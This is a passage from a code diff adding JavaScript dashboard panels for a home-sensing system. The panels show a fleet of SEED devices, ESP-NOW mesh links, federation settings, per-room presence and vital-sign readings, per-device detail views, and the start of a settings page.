? h('.flex.gap-sm.wrap.mt', pill('IF', 'amber'), mono(r.condition))
|
||||
: h('.flex.gap-sm.wrap.mt', pill('IF', 'grey'), h('span.t3', 'always')),
|
||||
h('.flex.gap-sm.wrap.mt',
|
||||
pill('ACTION', 'purple'), actionSummary(r.action)),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
function triggerSummary(t) {
|
||||
if (t.kind === 'state_changed') return h('span', mono('RoomState'), ' ', t.threshold ? mono(t.threshold) : h('span.t3', '(any change)'));
|
||||
if (t.kind === 'seed_reflex') return h('span', h('span.t2', 'reflex '), mono(t.rule || '—'));
|
||||
return h('span', h('span.t2', 'event '), mono(t.topic || '—'));
|
||||
}
|
||||
function actionSummary(a) {
|
||||
if (a.kind === 'call_service') return h('span', h('span.t2', 'call '), mono(a.service || '—'));
|
||||
return h('span', h('span.t2', 'fire '), mono(a.event || '—'));
|
||||
}
|
||||
|
||||
// ── small form helpers ────────────────────────────────────────────────
|
||||
function sel(pairs) {
|
||||
const s = h('select.inline', { style: { width: '100%' } });
|
||||
for (const [val, label] of pairs) {
|
||||
const o = document.createElement('option');
|
||||
o.value = val; o.textContent = label;
|
||||
s.appendChild(o);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
function field(label, control) {
|
||||
return h('label', { style: { display: 'block', marginTop: '8px' } },
|
||||
h('span.k.t2', { style: { display: 'block', marginBottom: '4px', fontSize: '12.5px' } }, label),
|
||||
control);
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
// §4.2 SEED Fleet overview + §4.3 SEED Fleet Map (node topology +
|
||||
// ESP-NOW mesh + cross-SEED event dedup) + ADR-105 federation config.
|
||||
//
|
||||
// One panel covering: the fleet card grid, the v0→SEED→ESP32 node
|
||||
// hierarchy, the mesh-link table, the cross-SEED fusion badges, and the
|
||||
// federation round config — with the §3.3 "model deltas only — never raw
|
||||
// CSI" invariant surfaced prominently (ADR-105 privacy guarantee).
|
||||
|
||||
import { h, card, pill, statusPill, sectionHeader, relTime, banner } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'SEED Fleet' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
|
||||
root.appendChild(sectionHeader('SEED Fleet', 'Cross-SEED topology, ESP-NOW mesh & ADR-105 federation'));
|
||||
|
||||
// ── Load seeds + federation independently so one failing upstream
|
||||
// doesn't blank the whole panel (ADR-131 §2.2 / §11.11). ───────
|
||||
let seeds = null, fed = null;
|
||||
try { seeds = await api.seeds(); } catch (e) {
|
||||
root.appendChild(banner('SEED fleet unavailable — ' + (e.message || e)
|
||||
+ (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
|
||||
}
|
||||
try { fed = await api.federation(); } catch (e) {
|
||||
root.appendChild(banner('SEED fleet unavailable — ' + (e.message || e)
|
||||
+ (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
|
||||
}
|
||||
|
||||
if (api.isDemo('fleet')) {
|
||||
root.appendChild(h('.banner.amber',
|
||||
'DEMO — the SEED HTTPS API and the ADR-105 federation service are not served by this homecore-server binary. '
|
||||
+ 'These panels render against their defined contract with contract-conformant mock data (ADR-131 §7.1).'));
|
||||
}
|
||||
|
||||
// ── §4.2 SEED fleet overview ──────────────────────────────────────
|
||||
if (seeds) {
|
||||
root.appendChild(h('h2', 'Fleet overview'));
|
||||
const grid = h('.grid.cols-3');
|
||||
seeds.forEach((s) => grid.appendChild(seedCard(s, ctx)));
|
||||
root.appendChild(grid);
|
||||
|
||||
// ── §4.3 Node hierarchy (v0 → SEED → ESP32) ─────────────────────
|
||||
root.appendChild(card({ title: 'Node hierarchy', children: [hierarchy(seeds)] }));
|
||||
}
|
||||
|
||||
if (fed) {
|
||||
// ── §4.3 ESP-NOW mesh links ─────────────────────────────────────
|
||||
root.appendChild(card({ title: 'ESP-NOW mesh links', children: [meshLinks(fed.mesh_links)] }));
|
||||
|
||||
// ── Cross-SEED event dedup / fusion ─────────────────────────────
|
||||
root.appendChild(card({ title: 'Cross-SEED event dedup', children: [fusionBadges(fed.fused_events)] }));
|
||||
|
||||
// ── ADR-105 federation config ───────────────────────────────────
|
||||
root.appendChild(federationConfig(fed));
|
||||
}
|
||||
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── §4.2 SEED card ──────────────────────────────────────────────────
|
||||
function seedCard(s, ctx) {
|
||||
const offline = !s.online;
|
||||
return card({
|
||||
tint: offline ? 'red' : null, clickable: true,
|
||||
onClick: () => ctx.navigate('#/seed/' + s.device_id),
|
||||
children: [
|
||||
h('.flex.spread',
|
||||
h('strong.mono', s.device_id),
|
||||
statusPill(s.online ? 'online' : 'offline')),
|
||||
h('.kv.mt',
|
||||
h('span.k', 'Zone'), h('span.v', s.zone),
|
||||
h('span.k', 'Firmware'), h('span.v.mono', s.firmware),
|
||||
h('span.k', 'Epoch'), h('span.v.purple', String(s.epoch)),
|
||||
h('span.k', 'Vectors'), h('span.v', (s.vector_count || 0).toLocaleString()),
|
||||
h('span.k', 'Last ingest'), h('span.v', relTime(s.last_ingest))),
|
||||
h('.flex.wrap.gap-sm.mt',
|
||||
s.witness_valid ? pill('witness valid', 'green') : pill('witness invalid', 'red')),
|
||||
sensorSummary(s.sensors),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
function sensorSummary(sensors) {
|
||||
if (!sensors) return h('.muted-empty', 'sensors offline');
|
||||
return h('.flex.wrap.gap-sm.mt',
|
||||
pill('PIR ' + (sensors.pir.motion ? 'motion' : 'still'), sensors.pir.motion ? 'amber' : 'grey'),
|
||||
pill('door ' + (sensors.reed.open ? 'open' : 'closed'), sensors.reed.open ? 'amber' : 'grey'),
|
||||
pill(sensors.bme280.temp_c + '°C', 'cyan'));
|
||||
}
|
||||
|
||||
// ── §4.3 Node hierarchy diagram (nested indented rows) ──────────────
|
||||
// v0 Appliance (ROOT) → SEEDs grouped by zone → ESP32 nodes (leaves).
|
||||
function hierarchy(seeds) {
|
||||
const wrap = h('.mono', { style: { fontSize: '12.5px', lineHeight: '1.9' } });
|
||||
|
||||
// ROOT — the v0 appliance.
|
||||
wrap.appendChild(treeRow(0, '●', 'cog-v0-appliance', pill('ROOT', 'purple'), null));
|
||||
|
||||
// Second tier — SEEDs grouped by .zone.
|
||||
const byZone = groupBy(seeds, (s) => s.zone || 'unzoned');
|
||||
const zones = Object.keys(byZone);
|
||||
zones.forEach((zone, zi) => {
|
||||
const lastZone = zi === zones.length - 1;
|
||||
wrap.appendChild(treeRow(1, lastZone ? '└─' : '├─', zone, pill('zone', 'cyan'), null, true));
|
||||
|
||||
const zoneSeeds = byZone[zone];
|
||||
zoneSeeds.forEach((s, si) => {
|
||||
const lastSeed = si === zoneSeeds.length - 1;
|
||||
wrap.appendChild(treeRow(2, lastSeed ? '└─' : '├─', s.device_id,
|
||||
statusPill(s.online ? 'online' : 'offline'), null));
|
||||
|
||||
// Leaves — the ESP32 nodes attached to this SEED.
|
||||
const nodes = (s.ingest && s.ingest.esp32) || [];
|
||||
if (!nodes.length) {
|
||||
wrap.appendChild(treeRow(3, '·', '(no ESP32 nodes)', null, null, true));
|
||||
}
|
||||
nodes.forEach((n, ni) => {
|
||||
const lastNode = ni === nodes.length - 1;
|
||||
wrap.appendChild(treeRow(3, lastNode ? '└─' : '├─', n.node_id,
|
||||
pill(n.rate_hz + ' Hz', 'grey'), n.packet));
|
||||
});
|
||||
});
|
||||
});
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function treeRow(depth, connector, label, badge, suffix, muted) {
|
||||
const row = h('.flex.gap-sm', { style: { paddingLeft: (depth * 18) + 'px' } });
|
||||
row.appendChild(h('span.t3', connector));
|
||||
row.appendChild(h(muted ? 'span.t3' : 'span', label));
|
||||
if (badge) row.appendChild(badge);
|
||||
if (suffix) row.appendChild(h('span.t3', suffix));
|
||||
return row;
|
||||
}
|
||||
|
||||
// ── §4.3 ESP-NOW mesh links (dashed rows coloured by .health) ───────
|
||||
function meshLinks(links) {
|
||||
if (!links || !links.length) return h('.muted-empty', 'no mesh links reported');
|
||||
const wrap = h('div');
|
||||
const colour = { green: 'green', amber: 'amber', red: 'red' };
|
||||
links.forEach((l) => {
|
||||
const k = colour[l.health] || 'grey';
|
||||
wrap.appendChild(h('.flex.gap-sm', { style: { padding: '6px 0' } },
|
||||
h('span.mono', l.a),
|
||||
h(`span.${k}`, { style: { letterSpacing: '1px' } }, '╌╌╌'),
|
||||
h('span.mono', l.b),
|
||||
pill(l.health, k)));
|
||||
});
|
||||
return wrap;
|
||||
}
|
||||
|
||||
// ── Cross-SEED event dedup — fusion badges (kind + n contributing) ──
|
||||
function fusionBadges(events) {
|
||||
if (!events || !events.length) return h('.muted-empty', 'no fused cross-SEED events');
|
||||
const wrap = h('.flex.wrap.gap-sm');
|
||||
events.forEach((e) => {
|
||||
const seeds = (e.seeds || []).join(', ');
|
||||
wrap.appendChild(h('span.flex.gap-sm', { style: { alignItems: 'center' } },
|
||||
pill(e.kind, 'cyan'),
|
||||
pill(e.n + ' SEEDs', 'purple'),
|
||||
h('span.t2.mono', { style: { fontSize: '11px' } }, seeds)));
|
||||
});
|
||||
return wrap;
|
||||
}
|
||||
|
||||
// ── ADR-105 federation config ───────────────────────────────────────
|
||||
function federationConfig(fed) {
|
||||
const body = h('div');
|
||||
|
||||
// CRITICAL invariant — the "model deltas only, never raw CSI" guarantee.
|
||||
body.appendChild(h('.banner.purple',
|
||||
{ style: { background: 'var(--purple-d)', color: 'var(--purple)', border: '0.67px solid var(--purple)' } },
|
||||
h('strong', 'Federation invariant: '),
|
||||
h('span.mono', fed.invariant)));
|
||||
|
||||
body.appendChild(h('.kv.mt',
|
||||
h('span.k', 'Coordinator SEED'), h('span.v.mono', fed.coordinator),
|
||||
h('span.k', 'Round'), h('span.v.purple', String(fed.round)),
|
||||
h('span.k', 'k_healthy'), h('span.v', String(fed.k_healthy)),
|
||||
h('span.k', 'Delta status'), statusPill(fed.delta_status === 'exchanging' ? 'updating' : fed.delta_status),
|
||||
h('span.k', 'Krum (f)'), h('span.v', String(fed.krum && fed.krum.f)),
|
||||
h('span.k', 'Krum mode'), h('span.v', fed.krum && fed.krum.multi ? 'multi-Krum' : 'Krum'),
|
||||
h('span.k', 'Cadence'), h('span.v', (fed.cadence_min != null ? fed.cadence_min + ' min' : '—'))));
|
||||
|
||||
return card({ title: 'Federation config (ADR-105)', accent: true, children: [body] });
|
||||
}
|
||||
|
||||
// ── helpers ─────────────────────────────────────────────────────────
|
||||
function groupBy(arr, keyFn) {
|
||||
const out = {};
|
||||
for (const item of arr) {
|
||||
const k = keyFn(item);
|
||||
(out[k] || (out[k] = [])).push(item);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
// §4.5 RoomState / Sensing Panel — mixture-of-specialists output.
|
||||
// Per-room cards from GET /api/v1/room/state?bank=<room_id>.
|
||||
//
|
||||
// UX invariants (§4.5/§6): STALE and VETOED are never subtle; veto-
|
||||
// suppressed values render as withheld, NOT zero; null specialists are
|
||||
// "Not trained" (calibrate to enable), visually distinct from errors.
|
||||
|
||||
import { h, card, pill, statusPill, sectionHeader, bar, confidenceBar, banner, button } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Rooms' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
root.appendChild(sectionHeader('RoomState / Sensing', 'Highest-level per-room sensing from the calibration mixture-of-specialists'));
|
||||
let rooms;
|
||||
try {
|
||||
rooms = await api.roomStates();
|
||||
} catch (e) {
|
||||
root.appendChild(banner(`RoomState unavailable — ${e && e.message ? e.message : e}. ${e && e.upstreamUnavailable ? 'Calibration service (ADR-151) not reachable through the gateway.' : ''}`, 'red'));
|
||||
return () => {};
|
||||
}
|
||||
if (api.isDemo('rooms')) root.appendChild(banner('DEMO mode (?demo=1) — fixture RoomState, not live calibration output (ADR-131 §2.2).', 'amber'));
|
||||
if (!rooms.length) { root.appendChild(h('.muted-empty', 'No calibrated rooms yet — run the Calibration wizard to enable sensing.')); return () => {}; }
|
||||
const grid = h('.grid.cols-2');
|
||||
rooms.forEach((r) => grid.appendChild(roomCard(r, ctx)));
|
||||
root.appendChild(grid);
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
function roomCard(r, ctx) {
|
||||
const tint = r.stale ? 'amber' : (r.vetoed ? 'red' : null);
|
||||
const children = [
|
||||
h('.flex.spread',
|
||||
h('strong.mono', r.room_id),
|
||||
h('.flex.gap-sm',
|
||||
r.seeds.length > 1 ? pill(r.seeds.length + ' seeds fused', 'purple') : null,
|
||||
r.vetoed ? pill('veto active', 'red') : null,
|
||||
r.stale ? pill('stale', 'amber') : null)),
|
||||
];
|
||||
|
||||
// STALE banner — must never be subtle (§4.5)
|
||||
if (r.stale) {
|
||||
children.push(banner('Bank stale — baseline has changed', 'amber',
|
||||
button('Recalibrate room', { variant: 'ghost', onClick: () => ctx.navigate('#/calibration') })));
|
||||
}
|
||||
if (r.vetoed) {
|
||||
children.push(banner('Anomaly veto active — implausible window; vitals/posture withheld', 'red'));
|
||||
}
|
||||
|
||||
children.push(specRow('Presence', presenceChip(r.presence), r.presence));
|
||||
children.push(specRow('Posture', postureView(r), r.posture));
|
||||
children.push(vitalRow('Breathing', r.breathing_bpm, 'BPM', [6, 30], r));
|
||||
children.push(vitalRow('Heart rate', r.heart_bpm, 'BPM', [40, 120], r));
|
||||
children.push(specRow('Restlessness', barOr(r.restlessness, 1), r.restlessness));
|
||||
children.push(anomalyRow(r.anomaly));
|
||||
|
||||
return card({ tint, children });
|
||||
}
|
||||
|
||||
function specRow(label, valueNode, spec) {
|
||||
const right = h('.flex.gap-sm');
|
||||
right.appendChild(valueNode);
|
||||
if (spec && spec.confidence != null) right.appendChild(confidenceBar(spec.confidence));
|
||||
return h('.row', h('span.k', label), right);
|
||||
}
|
||||
|
||||
function presenceChip(p) {
|
||||
if (!p) return notTrainedNode(); // null = not trained
|
||||
return statusPill(p.value); // occupied → green, absent → grey
|
||||
}
|
||||
|
||||
function postureView(r) {
|
||||
if (r.posture === null) return notTrainedNode(); // not trained
|
||||
if (r.vetoed && (!r.posture || r.posture.value == null)) return withheld(); // suppressed, not zero
|
||||
if (!r.posture || r.posture.value == null) return withheld();
|
||||
return statusPill(r.posture.value);
|
||||
}
|
||||
|
||||
function vitalRow(label, spec, unit, range, r) {
|
||||
let valueNode;
|
||||
if (spec === null) valueNode = notTrainedNode();
|
||||
else if (r.vetoed && (spec.value == null)) valueNode = withheld();
|
||||
else if (spec.value == null) valueNode = withheld();
|
||||
else valueNode = h('span.cyan', `${spec.value} ${unit} `, h('span.t3', `(${range[0]}–${range[1]})`));
|
||||
return specRow(label, valueNode, spec);
|
||||
}
|
||||
|
||||
function anomalyRow(a) {
|
||||
if (!a) return specRow('Anomaly', notTrainedNode(), null);
|
||||
// §6 honesty: a null threshold is WITHHELD (the upstream RoomState carried
|
||||
// none) — show the value but flag the threshold as unavailable rather than
|
||||
// judging anomalous/normal against a fabricated 0.8 default.
|
||||
if (a.threshold == null) {
|
||||
const wrap = h('div', { style: { width: '160px' } },
|
||||
bar(a.value, 1),
|
||||
h('small.ts', { title: 'no anomaly threshold from upstream — withheld' }, `${a.value} · threshold —`));
|
||||
return specRow('Anomaly', wrap, a);
|
||||
}
|
||||
const over = a.value > a.threshold;
|
||||
const b = bar(a.value, 1, [{ lt: a.threshold, color: 'green' }, { lt: 1.01, color: 'red' }]);
|
||||
const wrap = h('div', { style: { width: '160px' } }, b,
|
||||
h('small.ts', over ? 'anomalous' : 'normal', ` · ${a.value}`));
|
||||
return specRow('Anomaly', wrap, a);
|
||||
}
|
||||
|
||||
function barOr(spec, max) {
|
||||
if (spec === null) return notTrainedNode();
|
||||
if (!spec || spec.value == null) return withheld();
|
||||
const wrap = h('div', { style: { width: '140px' } }, bar(spec.value, max), h('small.ts', String(spec.value)));
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function notTrainedNode() {
|
||||
return h('span.t3', { title: 'null specialist — calibrate to enable' }, 'Not trained');
|
||||
}
|
||||
function withheld() {
|
||||
return h('span.red', { title: 'suppressed by veto — value withheld, not zero' }, '— withheld');
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// §4.2 SEED Detail View — the per-device deep dive (route #/seed/<id>).
|
||||
//
|
||||
// Vector store + witness chain (Ed25519 custody) + onboard sensors +
|
||||
// reflex rules + cognitive (boundary fragility) analysis + ingest
|
||||
// pipeline. Backed by the SEED HTTPS API (mock until the live endpoint
|
||||
// lands → DEMO badge, §7.1). Honesty invariants (§6): null fragility /
|
||||
// null sensors render muted, never as zero.
|
||||
|
||||
import {
|
||||
h, card, pill, statusPill, sectionHeader, bar, banner, button, mono, kv,
|
||||
sparkline, errorCard, relTime,
|
||||
} from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'SEED Detail' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
let s;
|
||||
try {
|
||||
s = await api.seed(ctx.params.id);
|
||||
} catch (e) {
|
||||
root.appendChild(sectionHeader('SEED Detail', ctx.params.id));
|
||||
root.appendChild(banner('SEED unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
|
||||
root.appendChild(card({ children: [button('← Back to fleet', { onClick: () => ctx.navigate('#/fleet') })] }));
|
||||
return () => {};
|
||||
}
|
||||
|
||||
if (!s) {
|
||||
root.appendChild(sectionHeader('SEED Detail', ctx.params.id));
|
||||
root.appendChild(errorCard(`No SEED with device_id "${ctx.params.id}"`));
|
||||
root.appendChild(card({ children: [button('← Back to fleet', { onClick: () => ctx.navigate('#/fleet') })] }));
|
||||
return () => {};
|
||||
}
|
||||
|
||||
root.appendChild(sectionHeader('SEED Detail', s.zone));
|
||||
if (api.isDemo('fleet')) {
|
||||
root.appendChild(banner('DEMO — SEED HTTPS API not served by this binary; showing contract-conformant data (§7.1).', 'amber'));
|
||||
}
|
||||
|
||||
root.appendChild(identityCard(s, ctx));
|
||||
root.appendChild(vectorStoreCard(s));
|
||||
root.appendChild(witnessCard(s));
|
||||
root.appendChild(sensorsCard(s));
|
||||
root.appendChild(reflexCard(s));
|
||||
root.appendChild(cognitionCard(s));
|
||||
root.appendChild(ingestCard(s));
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── 1. identity header ────────────────────────────────────────────────
|
||||
function identityCard(s, ctx) {
|
||||
return card({
|
||||
children: [
|
||||
sectionHeader(s.device_id, `Firmware ${s.firmware} · ${s.zone}`),
|
||||
h('.flex.spread',
|
||||
statusPill(s.online ? 'online' : 'offline'),
|
||||
button('← Fleet', { onClick: () => ctx.navigate('#/fleet') })),
|
||||
kv([
|
||||
['Firmware', mono(s.firmware)],
|
||||
['Paired', pill('paired', 'green')],
|
||||
['Conn mode', pill(s.conn, s.conn === 'usb' ? 'cyan' : 'purple')],
|
||||
['Zone', s.zone],
|
||||
]),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── 2. vector store ───────────────────────────────────────────────────
|
||||
function vectorStoreCard(s) {
|
||||
const over = s.storage_budget > 0 && s.storage_used / s.storage_budget > 0.8;
|
||||
const storeBar = bar(s.storage_used, s.storage_budget, [{ lt: 0.8, color: 'cyan' }, { lt: 1.01, color: 'amber' }]);
|
||||
const series = Array.from({ length: 24 }, (_, i) => s.knn_latency_ms != null ? +(s.knn_latency_ms + Math.sin(i / 2) * 0.4).toFixed(2) : 0);
|
||||
|
||||
let compacted = false;
|
||||
const compactBtn = button('Compact now', {
|
||||
onClick: () => {
|
||||
if (compacted) return;
|
||||
compacted = true;
|
||||
compactBtn.disabled = true;
|
||||
compactBtn.textContent = 'Compaction queued';
|
||||
console.log('[seed-detail] POST /api/v1/store/compact', s.device_id); // production call
|
||||
},
|
||||
});
|
||||
|
||||
return card({
|
||||
title: 'Vector Store',
|
||||
children: [
|
||||
kv([
|
||||
['Vectors', s.vector_count.toLocaleString()],
|
||||
['Dimension', mono(String(s.vector_dim))],
|
||||
['kNN latency', s.knn_latency_ms != null ? h('span.cyan', s.knn_latency_ms + ' ms') : h('span.t3', '— offline')],
|
||||
['Epoch', h('span.purple', String(s.epoch))],
|
||||
['kNN latency trend', sparkline(series, { w: 160, hgt: 28 })],
|
||||
]),
|
||||
h('.flex.spread.mt',
|
||||
h('span.t2', `Storage — ${s.storage_used.toLocaleString()} / ${s.storage_budget.toLocaleString()}`),
|
||||
over ? pill('budget > 80%', 'amber') : pill('headroom', 'green')),
|
||||
storeBar,
|
||||
over ? banner('Vector store nearing budget — compaction recommended.', 'amber') : null,
|
||||
h('.mt', compactBtn),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── 3. witness chain ──────────────────────────────────────────────────
|
||||
function witnessCard(s) {
|
||||
const verifyBtn = button('Verify chain', {
|
||||
onClick: () => console.log('[seed-detail] verify witness chain', s.device_id),
|
||||
});
|
||||
const exportBtn = button('Export attestation bundle', {
|
||||
onClick: () => console.log('[seed-detail] export attestation bundle', s.device_id),
|
||||
});
|
||||
return card({
|
||||
title: 'Witness Chain',
|
||||
children: [
|
||||
kv([
|
||||
['Chain length', h('span.purple', s.witness_len.toLocaleString())],
|
||||
['Status', s.witness_valid ? pill('valid', 'green') : pill('invalid', 'red')],
|
||||
['Last verify', relTime(s.witness_last_verify)],
|
||||
]),
|
||||
h('.flex.gap-sm.mt', verifyBtn, exportBtn),
|
||||
h('small.ts',
|
||||
'Ed25519 custody attestation — device-bound keypair signs (epoch + vector count + witness head): ',
|
||||
mono(`epoch=${s.epoch} · vectors=${s.vector_count} · head=${s.witness_len}`)),
|
||||
],
|
||||
});
|
||||
}
|
||||
|
||||
// ── 4. onboard sensors ────────────────────────────────────────────────
|
||||
function sensorsCard(s) {
|
||||
if (!s.sensors) {
|
||||
return card({ title: 'Onboard Sensors', children: [h('.muted-empty', 'sensors offline')] });
|
||||
}
|
||||
const x = s.sensors;
|
||||
const grid = h('.grid.cols-3',
|
||||
subCard('BME280', [
|
||||
sub('Temp', h('span.cyan', x.bme280.temp_c + ' °C')),
|
||||
sub('Humidity', h('span.cyan', x.bme280.humidity_pct + ' %')),
|
||||
sub('Pressure', h('span.cyan', x.bme280.pressure_hpa + ' hPa')),
|
||||
]),
|
||||
subCard('PIR', [
|
||||
sub('Motion', x.pir.motion ? pill('motion', 'amber') : pill('still', 'grey')),
|
||||
sub('Last trigger', h('span.t2', relTime(x.pir.last_trigger))),
|
||||
]),
|
||||
subCard('Reed', [
|
||||
sub('State', x.reed.open ? pill('open', 'amber') : pill('closed', 'grey')),
|
||||
sub('Last change', h('span.t2', relTime(x.reed.last_change))),
|
||||
]),
|
||||
subCard('ADS1115', x.ads1115.map((ch) => sub(ch.label, h('span.cyan', String(ch.v))))),
|
||||
subCard('Vibration', [
|
||||
sub('State', x.vibration.active ? pill('active', 'amber') : pill('idle', 'grey')),
|
||||
sub('Last trigger', h('span.t2', relTime(x.vibration.last_trigger))),
|
||||
]),
|
||||
);
|
||||
return card({ title: 'Onboard Sensors', children: [grid] });
|
||||
}
|
||||
|
||||
function subCard(name, rows) {
|
||||
return card({ children: [h('h3', name), ...rows] });
|
||||
}
|
||||
function sub(name, valueNode) {
|
||||
return h('.row', h('span.k.t2', name), valueNode instanceof Node ? valueNode : h('span.cyan', String(valueNode)));
|
||||
}
|
||||
|
||||
// ── 5. reflex rules ───────────────────────────────────────────────────
|
||||
function reflexCard(s) {
|
||||
if (!s.reflex || !s.reflex.length) {
|
||||
return card({ title: 'Reflex Rules', children: [h('.muted-empty', 'no reflex rules configured')] });
|
||||
}
|
||||
const rows = s.reflex.map(reflexRow);
|
||||
return card({ title: 'Reflex Rules', children: rows });
|
||||
}
|
||||
|
||||
function reflexRow(r) {
|
||||
let thresholdNode;
|
||||
if (r.name === 'fragility_alarm') {
|
||||
const input = h('input.inline', { type: 'number', step: '0.05', value: String(r.threshold) });
|
||||
input.addEventListener('change', () => console.log('[seed-detail] reflex threshold edit (no persist)', r.name, input.value));
|
||||
thresholdNode = input;
|
||||
} else {
|
||||
thresholdNode = mono(String(r.threshold));
|
||||
}
|
||||
const row = h('.row',
|
||||
h('.flex.gap-sm', mono(r.name), r.fired_recently ? pill('fired recently', 'amber') : null),
|
||||
h('.flex.gap-sm',
|
||||
h('span.t2', 'thr'), thresholdNode,
|
||||
h('span.t2', '→'), h('span.v', r.target),
|
||||
h('small.ts', 'fired ' + (r.last_fired ? relTime(r.last_fired) : 'never'))));
|
||||
if (r.fired_recently) {
|
||||
return card({ tint: 'amber', children: [row] });
|
||||
}
|
||||
return row;
|
||||
}
|
||||
|
||||
// ── 6. cognitive analysis ─────────────────────────────────────────────
|
||||
function cognitionCard(s) {
|
||||
const c = s.cognition || {};
|
||||
const children = [];
|
||||
|
||||
if (c.fragility == null) {
|
||||
children.push(h('.muted-empty', 'fragility unavailable — cognition offline'));
|
||||
} else {
|
||||
const fragile = c.fragility > 0.3;
|
||||
const fb = bar(c.fragility, 1, [{ lt: 0.3, color: 'green' }, { lt: 0.6, color: 'amber' }, { lt: 1.01, color: 'red' }]);
|
||||
if (fragile) {
|
||||
children.push(banner(`Boundary fragility elevated — ${c.fragility.toFixed(2)} (regime change likely)`, 'amber'));
|
||||
}
|
||||
children.push(h('.flex.spread', h('span.t2', 'Boundary fragility'), h('span' + (fragile ? '.amber' : '.green'), c.fragility.toFixed(2))));
|
||||
children.push(fb);
|
||||
}
|
||||
|
||||
if (c.coherence_phases && c.coherence_phases.length) {
|
||||
children.push(h('h3.mt', 'Coherence phases'));
|
||||
c.coherence_phases.forEach((p) => {
|
||||
children.push(h('.row', mono(relTime(p.t)), h('span.v', p.label)));
|
||||
});
|
||||
}
|
||||
|
||||
children.push(h('.row.mt', h('span.k.t2', 'kNN rebuild cadence'), mono((c.knn_rebuild_s ?? '—') + ' s')));
|
||||
return card({ title: 'Cognitive Analysis', children });
|
||||
}
|
||||
|
||||
// ── 7. ingest pipeline ────────────────────────────────────────────────
|
||||
function ingestCard(s) {
|
||||
const ing = s.ingest || {};
|
||||
const children = [
|
||||
kv([
|
||||
['Batch size', mono(String(ing.batch))],
|
||||
['Flush interval', mono((ing.flush_ms ?? '—') + ' ms')],
|
||||
['Bridge', String(ing.bridge ?? '—')],
|
||||
]),
|
||||
];
|
||||
|
||||
if (ing.bridge && /hop/i.test(ing.bridge)) {
|
||||
children.push(banner('Bridge adds a network hop — extra latency + a trust boundary in the ingest path.', 'amber'));
|
||||
}
|
||||
|
||||
if (ing.esp32 && ing.esp32.length) {
|
||||
children.push(h('h3.mt', 'ESP32 ingest nodes'));
|
||||
ing.esp32.forEach((n) => children.push(esp32Row(n)));
|
||||
} else {
|
||||
children.push(h('.muted-empty', 'no ESP32 nodes attached'));
|
||||
}
|
||||
return card({ title: 'Ingest Pipeline', children });
|
||||
}
|
||||
|
||||
function esp32Row(n) {
|
||||
const native = n.packet === '0xC5110003';
|
||||
const packetPill = native
|
||||
? pill('0xC5110003 native', 'green')
|
||||
: pill((n.packet || '—') + ' vitals fallback', 'amber');
|
||||
return h('.row',
|
||||
mono(n.node_id),
|
||||
h('.flex.gap-sm', packetPill, h('span.t2', n.rate_hz + ' Hz')));
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// §4.10 Settings & Integration Config — ADR-131.
|
||||
// One card per sub-section: SEED fleet management, ESP32 provisioning,
|
||||
// MQTT / cog-ha-matter config, long-lived access tokens, federation
|
||||
// config. Security invariants are surfaced as first-class banners
|
||||
// (USB-only pairing window; "model deltas only, never raw CSI").
|
||||
//
|
||||
// Mutations are local-state-only here (no live mutate endpoint yet); the
|
||||
// node→room assignment edits persist into an in-memory map and the panel
|
||||
// is flagged DEMO whenever the mock layer is serving it (§7.1 honesty).
|
||||
|
||||
import {
|
||||
h, clear, card, pill, statusPill, sectionHeader, mono, button, banner, kv, relTime,
|
||||
} from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Settings' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
|
||||
// Load each card's data independently so one failure doesn't blank the page.
|
||||
let s = null, sErr = null;
|
||||
let seeds = null, seedsErr = null;
|
||||
let fed = null, fedErr = null;
|
||||
try { s = await api.settings(); } catch (e) { sErr = e; }
|
||||
try { seeds = await api.seeds(); } catch (e) { seedsErr = e; }
|
||||
try { fed = await api.federation(); } catch (e) { fedErr = e; }
|
||||
|
||||
root.appendChild(sectionHeader('Settings & Integration Config', 'SEED fleet, ESP32 provisioning, MQTT / cog-ha-matter, access tokens & federation (ADR-131 §4.10)'));
|
||||
|
||||
if (api.isDemo('settings') || api.isDemo('fleet')) {
|
||||
root.appendChild(banner('DEMO — settings & fleet are served by the contract-conformant mock layer until their live endpoints land (ADR-131 §7.1). Edits are local-state only.', 'amber'));
|
||||
}
|
||||
|
||||
// ── §4.10.1 SEED fleet ──
|
||||
if (seedsErr) root.appendChild(cardBanner('SEED Fleet Management', 'SEED fleet unavailable — ' + errText(seedsErr)));
|
||||
else root.appendChild(seedFleetCard(seeds));
|
||||
|
||||
// ── §4.10.2/.3/.4 ESP32 + MQTT + tokens (all from settings) ──
|
||||
if (sErr) {
|
||||
root.appendChild(cardBanner('ESP32 Node Provisioning', 'ESP32 provisioning unavailable — ' + errText(sErr)));
|
||||
root.appendChild(cardBanner('MQTT / cog-ha-matter', 'MQTT / cog-ha-matter config unavailable — ' + errText(sErr)));
|
||||
root.appendChild(cardBanner('Long-Lived Access Tokens', 'Access tokens unavailable — ' + errText(sErr)));
|
||||
} else {
